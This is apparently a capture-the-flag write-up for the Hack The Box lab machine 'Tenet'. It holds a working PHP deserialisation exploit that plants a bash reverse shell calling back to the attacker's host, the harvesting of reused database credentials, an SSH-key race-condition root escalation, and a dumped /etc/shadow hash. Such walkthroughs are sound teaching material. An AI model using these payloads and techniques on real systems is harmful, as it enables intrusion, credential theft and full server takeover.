Recon
- Port scan:
$ nmap -p- 10.10.10.223 > ports.nmapPORT STATE SERVICE 22/tcp open ssh 80/tcp open http - Targeted scan:
$ nmap -sC -sV -p 22,80 10.10.10.223 > targeted.nmapPORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA) | 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA) |_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelSSH, Apache HTTP.
Enumeration
HTTP Enumeration
- Port 80 is displaying the default Apache setup page.
- Adding virtual hostnames to
/etc/hostsfile:10.10.10.223 tenet.htb - Navigating to http://tenet.htb/ redirects to a WordPress blog, comment function is likely not vulnerable to XSS.
- Post by user "protagonist" on December 16:
"This Is Where Our Worlds Collide" We’re looking for beta testers of our new time-management software, ‘Rotas’ ‘Rotas’ will hopefully be coming to market late 2021, pending rigorous QA from our developers, and you! For more information regarding opting-in, watch this space. - We learn that the developers are building a new time-management software named "Rotas".
- The user "protagonist" is likely the site administrator.
- Another post by user "protagonist" on December 16:
"Migration" We’re moving our data over from a flat file structure to something a bit more substantial. Please bear with us whilst we get one of our devs on the migration, which shouldn’t take too long. Thank you for your patience - We also find out that data is being migrated from a flat file structure to something "substantial".
- Under this post, we also see a user "neil" commenting on the same day:
did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?! - Presumably a developer involved in the project, Neil is warning that a
sator.phpfile and its backup may not be removed yet, and that the migration program is incomplete.
Exploitation
- After searching for the
sator.phpfile on the http://tenet.htb/ host for a long time, turns out it was located in http://10.10.10.223/sator.php. - Output upon visiting the page:
[+] Grabbing users from text file [] Database updated - Neil also mentioned a backup for the
sator.phpfile. Since there isn't a/backup/directory on the site, let's try adding the.bakfile extension. - Source file of
sator.phpfound on http://10.10.10.223/sator.php.bak:<?php class DatabaseExport { public $user_file = 'users.txt'; public $data = ''; public function update_db() { echo '[+] Grabbing users from text file <br>'; $this-> data = 'Success'; } public function __destruct() { file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data); echo '[] Database updated <br>'; // echo 'Gotta get this working properly...'; } } $input = $_GET['arepo'] ?? ''; $databaseupdate = unserialize($input); $app = new DatabaseExport; $app -> update_db(); ?> - Magic method
__destruct()is usingfile_put_contents(), which we can abuse to write arbitrary files via a PHP deserialisation attack. - Method syntax:
file_put_contents(file_name, contentstring, flag) - Concatenated path to the location of
users.txt:__DIR__ . '/' . $this->user_file - The
users.txtfile is created in the same directory at http://10.10.10.223/users.txt, containing the string "Success". - We can manipulate the unused
$inputvariable by sending serialised data through thearepoparameter in a GET request. - As the input gets deserialized, we create a new instance of
DatabaseExportand callfile_put_contents()with our specified file name and content, or in this case - a reverse shell on the webserver. - Creating
exploit.php:<?php class DatabaseExport { public $user_file = 'reverse.php'; public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/10.10.14.103/6969 0>&1\'");?>'; public function __destruct() { file_put_contents(__DIR__ . '/' . $this->user_file, $this->data); } } echo "Serialising payload with parameters:\n"; $obj = new DatabaseExport(); echo "\$user_file: " . $obj->user_file . "\n"; echo "\$data: " . $obj->data . "\n\n"; $payload = urlencode(serialize($obj)); echo "Encoded payload:\n" . $payload . "\n\n"; echo "Sending payload to sator.php...\n"; file_get_contents("http://10.10.10.223/sator.php?arepo=" . $payload); echo "Getting reverse shell...\n"; file_get_contents("http://10.10.10.223/reverse.php"); echo "Done!\n"; ?> - Listen for reverse shell with
nc:$ nc -lvnp 6969 - Run
exploit.phpthrough a PHP interpreter, and we should get a shell as www-data:$ whoami && idwww-data uid=33(www-data) gid=33(www-data) groups=33(www-data) - To make things easier for us, let's upgrade our reverse shell to an interactive shell:
$ echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py$ python3 /tmp/shell.py - Since this is a WordPress site, we can extract the MySQL server credentials from
~/wordpress/wp-config.php:define( 'DB_USER', 'neil' ); define( 'DB_PASSWORD', 'Opera2112' ); - Found MySQL credentials:
neil:Opera2112 - Trying to SSH in as neil:
$ ssh [email protected] - Looks like Neil is lazy and reused his password for his SSH credentials:
$ whoami && idneil uid=1001(neil) gid=1001(neil) groups=1001(neil) - Get user flag!
Privilege Escalation
- Check sudo permissions:
$ sudo -lUser neil may run the following commands on tenet: (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh - Neil can run
enableSSH.shas root without password. - Usually, a privileged script like this can be leveraged to execute arbitrary privileged code, but in this case, the file is owned by root and we cannot modify it as neil.
- Reading the contents of
enableSSH.sh:#!/bin/bash checkAdded() { sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3) if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then /bin/echo "Successfully added $sshName to authorized_keys file!" else /bin/echo "Error in adding $sshName to authorized_keys file!" fi } checkFile() { if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then /bin/echo "Error in creating key file!" if [[ -f $1 ]]; then /bin/rm $1; fi exit 1 fi } addKey() { tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX) (umask 110; touch $tmpName) /bin/echo $key >>$tmpName checkFile $tmpName /bin/cat $tmpName >>/root/.ssh/authorized_keys /bin/rm $tmpName } key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu" addKey checkAdded - The script is used to add keys to the root user's
authorized_keysfile, and makes use of a temp file to store the key before appending to it. - This method of updating the SSH keys is vulnerable to a race condition attack, as the
$keyvariable is passed around several times, before the temp file is appended toauthorized_keys. - This means we can swap in our own SSH public key immediately within the timeframe of the key being copied to the temp file and the file concatenated to
authorized_keys, to grant ourselves SSH access to root. - Create a simple script
rc.sh:while true do echo /tmp/id_rsa.pub | tee /tmp/ssh-* - Send our public SSH key to the target machine:
$ nc -lvnp 6969 > /tmp/id_rsa.pub < /dev/null$ cat ~/.ssh/id_rsa.pub > /dev/tcp/10.10.10.223/6969 - Make the exploit script executable:
$ chmod +x rc.sh - Open a second SSH session, and run the exploit script. At the same time, on the primary session, execute
enableSSH.shfor a few times. - If the race condition attack succeeded, our public key should now be in the root user's
authorized_keysfile, and we can simply SSH in as root:$ ssh [email protected] - No password was prompted, and we have successfully logged in as root.
$ whoami && idroot uid=0(root) gid=0(root) groups=0(root) - Get root flag!
Persistence
- Get root user's hash from
/etc/shadow:root:$6$hfxS53gy$YDGYBt.0P7G3TpKB0qo.gkUNClP2CRMHyCNU/2aVjQSPN3mxpL4hs7XYX1XNM5mSEGiASvizwxTV0DToS/wDV.:18606:0:99999:7::: - Clean up after ourselves and delete any residual files:
$ rm /tmp/id_rsa.pub /tmp/rc.sh
Resources
- https://medium.com/swlh/exploiting-php-deserialization-56d71f03282a
- https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf
- https://book.hacktricks.xyz/pentesting-web/deserialization
- https://serverpilot.io/docs/where-to-find-your-database-credentials-in-wordpress/
- http://www.cis.syr.edu/~wedu/Teaching/IntrCompSec/LectureNotes_New/Race_Condition.pdf